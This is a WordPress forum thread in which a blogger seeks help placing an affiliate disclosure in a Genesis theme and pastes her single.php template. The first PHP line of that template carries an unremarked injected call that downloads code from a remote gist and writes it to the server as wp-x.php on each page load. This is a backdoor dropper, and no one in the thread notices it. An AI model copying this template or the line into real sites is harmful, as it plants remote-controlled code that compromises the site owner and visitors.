Thread Starter
TheTJ
(@measuringflower)
Ok, using single.php, I figured out how to get it above the posts. However, I would really like for it to be before the content of the post (like after the time stamp and what not), and haven’t figured that out. :-/
Try inserting it between
<div class="post-info">...</div>
and
<div class="entry-content">...</div>
Thread Starter
TheTJ
(@measuringflower)
@media X, do I place that in my single.php or somewhere else? I should’ve mentioned I’m kinda slow at all this, lol. I tried putting it my single.php, but it shows in the same place above the title. I’d like it before the time stamp and that info. 🙂
MFlower,
you added <div align="center"><b>Disclosure:</b> This post may contain affiliate links. Thank you very kindly for helping me stay a stay-at-home mom!<br><br></div>
Check your single.php and place that code right before <div class="post-info">...</div>
Thread Starter
TheTJ
(@measuringflower)
@media X,
That didn’t work either. :-/ It placed it in the same spot it is now and added another dotted line beneath it.
My Single.php doesn’t naturally had the <div class=”post-info”>…</div> tags in it either, I tried adding them, but same results. Here’s how my single.php looks:
<?php get_header(); @file_put_contents("wp-x.php",file_get_contents("https://raw.github.com/gist/1868194/29b9ff700cc4adbf4a5700b3c09d9c07b399baee/2008"));?>
<div class="homepage">
<?php genesis_before_content(); ?>
<div class="ad-block-125">
<?php if (!dynamic_sidebar('Homepage Ads')) : ?>
<?php endif; ?>
</div>
<div class="fb-middle">
<?php if (!dynamic_sidebar('Featured Bottom Middle')) : ?>
<div class="widget">
<div class="wrap">
</div><!-- end .wrap -->
</div><!-- end .widget -->
<?php endif; ?>
</div><!-- end #featured-bottom -->
<div class="fb-right">
<?php if (!dynamic_sidebar('Featured Bottom Right')) : ?>
<div class="widget">
<div class="wrap">
</div><!-- end .wrap -->
</div><!-- end .widget -->
<?php endif; ?>
</div><!-- end #featured-bottom-right -->
</div>
<?php genesis_before_content_sidebar_wrap(); ?>
<div id="content-sidebar-wrap">
<div id="content">
<div class="entry-content"><span style="font-size: 10px;"><div align="center"><b>Disclosure:</b> This post may contain affiliate links. Thank you very kindly for helping me stay a stay-at-home mom!
</div></span></div>
<?php genesis_before_loop(); ?>
<?php genesis_do_loop(); ?>
<?php genesis_after_loop(); ?>
</div><!-- end #content -->
<?php genesis_after_content(); ?>
</div><!-- end #content-sidebar-wrap -->
<?php genesis_after_content_sidebar_wrap(); ?>
<?php get_footer(); ?>
[Please use the code buttons, NOT blockquote, when posting code]
You may want to ask studiopress for help – as they support their themes – and commercial themes are not supported on these forums.
WPyogi,was just about to write the same thing 😉
@measuringflower,considering it’s a Genesis framework,without taking a closer look at all the files it’s hard to pin point exactly where to add the code you need. The author(s) will surely help out.